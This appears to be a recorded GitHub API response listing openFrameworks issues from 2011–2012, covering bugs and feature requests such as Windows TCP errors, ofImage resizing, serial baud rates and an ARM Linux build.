connection\r\n\r\nThis error happens in every use of ofxTCPClient.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/599","comments":1,"milestone":null,"number":599,"html_url":"https://github.com/openframeworks/openFrameworks/issues/599","assignee":null,"title":"TCPManager Consistent Error","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-06-08T23:02:28Z","state":"open","user":{"url":"https://api.github.com/users/tomorrowevening","gravatar_id":"f92a8e912b59171abde0354e2f212c12","login":"tomorrowevening","avatar_url":"https://secure.gravatar.com/avatar/f92a8e912b59171abde0354e2f212c12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":626143},"id":1027184,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-01T13:56:17Z","body":"http://forum.openframeworks.cc/index.php/topic,6370.0.html\r\n\r\nwhen they are not power of 2 perhaps?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/591","comments":0,"milestone":null,"number":591,"html_url":"https://github.com/openframeworks/openFrameworks/issues/591","assignee":null,"title":"problem with ofImage resize","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-06-01T13:56:17Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":984564,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-31T12:33:31Z","body":"### ofxNetworkUtils.h - issue 1\n\nThe default message should print out `err` instead of `errno`\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(errno) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nto:\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(err) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nSince errno would not be set on windows machines.\n\n\n\n\n### ofxTCPManager.cpp - issue 2\n\nIn the `Receive` method of the `ofxTCPManager` the function will always return -1 when checking for data and there is no new data and the TCPServer has been set to non-blocking.\n\nAfter changing the code in issue 1 mentioned above i got:\n\n`ofxNetwork:addons\\ofxNetwork\\src\\ofxTCPManager.cpp: 304 unknown error: 10035 see errno.h for description of the error`\n\ninstead of `error: 0` when `errno`was used.\n\nWhich on windows is the [`WSAEWOULDBLOCK`](http://msdn.microsoft.com/en-us/library/ms740668.aspx) or `EWOULDBLOCK` as defined in `ofxNetworkUtils`\n\nSo someplace in the code there should be a mechanism to check if the code is client is non-blocking and ignore the error.\nThis is `windows` only but still could be as an additional parameter to the `Receive` method. Or add it as an `switch case` for the `EWOULDBLOCK` in the `ofxNetworkUtils` and ignore the ouput and comment it.\n\nI just noticed this above when i started usin an application that i was developing on my mac an using it on windows machines this code would appear too often.\n\nSo as stated above my solution is that i added:\n\n```\n #ifdef TARGET_WIN32 // otherwise EAGAIN & EWOULDBLOCK will create a \"duplicate case value\" on Non windows\n\tcase EWOULDBLOCK: \n\t\t// \tofLog(OF_LOG_VERBOSE,\"ofxNetwork:\"+file+\": \" +line+\" EWOULDBLOCK: perhaps non-blocking\");\n\t\tbreak;\n #endif\n```\ncode and ignoring the output.\n\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/590","comments":0,"milestone":null,"number":590,"html_url":"https://github.com/openframeworks/openFrameworks/issues/590","assignee":null,"title":"ofxTCPManager.receive() - EWOULDBLOCK on Windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-05-31T11:31:08Z","state":"open","user":{"url":"https://api.github.com/users/cristobal","gravatar_id":"c7f941e0c10696b758ae8792714a6744","login":"cristobal","avatar_url":"https://secure.gravatar.com/avatar/c7f941e0c10696b758ae8792714a6744?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":155505},"id":978212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-31T02:06:22Z","body":"setFromPixels has two forms: one that takes an int channels, another that takes ofImageType.\r\n\r\nsetFromExternalPixels only has one form: it takes an int channels.\r\n\r\nin my opinion, it makes sense to change them both to ofImageType only, because the int channels is susceptible to accidentally passing an ofImageType to it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/589","comments":0,"milestone":null,"number":589,"html_url":"https://github.com/openframeworks/openFrameworks/issues/589","assignee":null,"title":"setFromPixels vs setFromExternalPixels","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-05-31T02:06:22Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":976610,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:54:02Z","body":"ofImage_ should be ofBaseImage, likewise with ofPixels_\n\nin general, X_ style classes should be BaseX\n\ntemplated functions that are just sitting around should also have descriptive template names.\n\nit's important for this to happen before 007, otherwise code will be written against ofImage\\_<T> etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/582","comments":5,"milestone":null,"number":582,"html_url":"https://github.com/openframeworks/openFrameworks/issues/582","assignee":null,"title":"templated code needs to be more readable","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-05-23T17:46:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":942647,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-31T13:42:28Z","body":"just need to add the line\r\n\r\n\t\t\tcase 230400: cfsetispeed(&options,B230400);\r\n\t\t\t\tcfsetospeed(&options,B230400);\r\n\t\t\t\tbreak;\r\n\r\nin the setup function after\r\ncase 115200: cfsetispeed(&options,B115200);\r\n\t\t\t\t\t\tcfsetospeed(&options,B115200);\r\n\t\t\t\tbreak;\r\n\r\ntested with our device that runs at that baud rate, seems to work a-OK so far.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/577","comments":2,"milestone":null,"number":577,"html_url":"https://github.com/openframeworks/openFrameworks/issues/577","assignee":null,"title":"ofSerial: add 230400 speed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-05-20T16:16:52Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":932655,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T19:59:00Z","body":"This is a generic Linux build of oF for ARM Cortex A8/9 devices (Beagleboard, Pandaboard, Gumstix, Tegra 250, IGEPv2, ...) with built-in NEON optimizations in the included libs and makefiles (via gcc -O3 -march=armv7-a -mtune=cortex-a8 -mfpu=neon -ftree-vectorize -mfloat-abi=softfp)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/576","comments":17,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","closed_issues":0,"number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":576,"html_url":"https://github.com/openframeworks/openFrameworks/issues/576","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"Generic armv7l Linux build for Beagleboard &co. ","labels":[],"closed_at":null,"created_at":"2011-05-19T14:49:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":927378,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/576.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/576","patch_url":"https://github.com/openframeworks/openFrameworks/pull/576.patch"}},{"updated_at":"2011-05-13T15:28:46Z","body":"http://forum.openframeworks.cc/index.php?topic=6201.0","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/572","comments":0,"milestone":null,"number":572,"html_url":"https://github.com/openframeworks/openFrameworks/issues/572","assignee":null,"title":"ofToggleFullscreen doesn't set width and height correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-05-13T15:28:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":895515,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T15:47:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/569","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":569,"html_url":"https://github.com/openframeworks/openFrameworks/issues/569","assignee":null,"title":"saving an image with the image quality flag set to high or best causes empty jpegs. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-05-11T13:53:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":883385,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"Currently using an FBO with an ofCamera is really tricky, as both setup their own viewing matrix and viewport. \r\n\r\nDoes it make sense to have ofFbo use an ofCamera internally?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/568","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":568,"html_url":"https://github.com/openframeworks/openFrameworks/issues/568","assignee":null,"title":"ofFbo and ofCamera do not play well together.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-05-11T13:52:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":883380,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T18:31:30Z","body":"Greetings,\r\n\r\nI have downloaded the latest master of Openframeworks b4397c1 and I have tried to compile the AllAddons example (just to check if everything was well installed).\r\n\r\nThe ofxSynth library just won't compile (using either GCC or LLVM, Xcode 3 or Xcode4), be it in the allAddons or in it's own examples, here is the error log :\r\n\r\nUndefined symbols for architecture i386:\r\n \"typeinfo for ofxSoundEffect\", referenced from:\r\n typeinfo for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"non-virtual thunk to ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::ofxSoundSink()in ofxSynth.o\r\n \"vtable for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"vtable for ofxSoundSink\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n \"virtual thunk to ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"typeinfo for ofxSoundSink\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::setSampleRate(int)\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::addInputFrom(ofxSoundSource*)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"VTT for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::audioIn(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundEffect::audioOut(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::~ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in main.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\nld: symbol(s) not found for architecture i386\r\ncollect2: ld returned 1 exit status\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/566","comments":3,"milestone":null,"number":566,"html_url":"https://github.com/openframeworks/openFrameworks/issues/566","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofxSynth won't compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-05-07T12:25:01Z","state":"open","user":{"url":"https://api.github.com/users/benoitespinola","gravatar_id":"d08687285addcdde144d4eceb4cfa78e","login":"benoitespinola","avatar_url":"https://secure.gravatar.com/avatar/d08687285addcdde144d4eceb4cfa78e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":720460},"id":862321,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:48:58Z","body":"I'm fixing it using \r\n_textField.transform = CGAffineTransformMakeRotation(M_PI*1.5f);\r\nin - (void) setFrame: (CGRect) rect\r\nto fix it now.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/565","comments":1,"milestone":null,"number":565,"html_url":"https://github.com/openframeworks/openFrameworks/issues/565","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Textfield in ofxiPhoneKeyboard upside down in landscape","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-05-05T14:20:42Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":853551,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=10 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4934'), ('content-length', '43807'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"78e9c565cba926f6a72fa2b7dd021b78"'), ('date', 'Tue, 29 May 2012 19:27:19 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T21:20:01Z","body":"Does anybody know the status of this?\r\nI would like to help but I'm not sure where to start. Is the `iphone-dev-0061` the branch to work on this?\r\nI just want to know what's been done or whether there are plans in the works.\r\n\r\nI have posted this in the forum but have not received any response.\r\nhttp://forum.openframeworks.cc/index.php/topic,4089.msg29156.html#msg29156","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/564","comments":1,"milestone":null,"number":564,"html_url":"https://github.com/openframeworks/openFrameworks/issues/564","assignee":null,"title":"ofxShader for iOS","labels":[],"closed_at":null,"created_at":"2011-05-04T18:35:58Z","state":"open","user":{"url":"https://api.github.com/users/chrisirhc","gravatar_id":"22d0038769b1786fcdc0983bdb2e4033","login":"chrisirhc","avatar_url":"https://secure.gravatar.com/avatar/22d0038769b1786fcdc0983bdb2e4033?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":132584},"id":850096,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-12T08:58:12Z","body":"it's compiling now but doesn't work in openGL ES.\r\n\r\nalso take a look at setupShadow generating depthBuffer as texture, when it's released as a renderbuffer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/560","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":560,"html_url":"https://github.com/openframeworks/openFrameworks/issues/560","assignee":null,"title":"fix ofFbo for openGL ES","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2011-04-30T17:21:39Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":833772,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-26T00:37:56Z","body":"nothing fancy, but I have an implementation of ofxCvHaarFinder that draws, and it's useful for debugging. something like:\n\n``` c++\n void ofxCvHaarFinder::draw( float x, float y ) {\n\t\t// ofPushStyle(); ?\n\t\tofEnableAlphaBlending();\n\t\tofSetColor( 255,0,200,100 );\n\t\tglPushMatrix();\n\t\t\n\t\tglTranslatef( x, y, 0.0 );\n\t\t\n\t\tofNoFill();\n\t\tfor( int i=0; i007 than <007. this can be changed in the ofStyle() constructor.\r\n\r\nalso, @elliotwoods it would be great to have a comment next to each of the constants in enum ofDrawBitmapMode explaining what they do.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/520","comments":1,"milestone":null,"number":520,"html_url":"https://github.com/openframeworks/openFrameworks/issues/520","assignee":null,"title":"ofDrawBitmapString default behavior has changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-04-01T06:37:16Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":723496,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-31T17:49:33Z","body":"it's obvious if you've used opengl directly before, but i would expect something more like:\r\n\r\n\tvoid ofSetTextureInterpolation(ofInterpolationType downscale, ofInterpolationType upscale)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/519","comments":0,"milestone":null,"number":519,"html_url":"https://github.com/openframeworks/openFrameworks/issues/519","assignee":null,"title":"ofSetMinMagFilters() is confusingly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-03-31T17:49:33Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":721833,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-17T00:51:48Z","body":"movieGrabberExample => videoGrabberExample\r\nmoviePlayerExample => videoPlayerExample\r\n\r\nthere are probably other examples of this, but this one strikes me as particularly odd. there's probably some historical reason... :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/510","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":510,"html_url":"https://github.com/openframeworks/openFrameworks/issues/510","assignee":null,"title":"movieGrabber/PlayerExamples are poorly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-03-22T06:47:02Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":693126,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-21T01:01:25Z","body":"i accidentally initialized my ofFbo with setupShadow() instead of setup(), and when i said draw() it caused EXC_BAD_ACCESS. draw() calls getTexture(), so maybe the best way to handle this is to put a check inside getTexture() like this:\r\n\r\n\tif(textures.size() == 0) {\r\n\t\tofLog(OF_LOG_ERROR, \"You must call 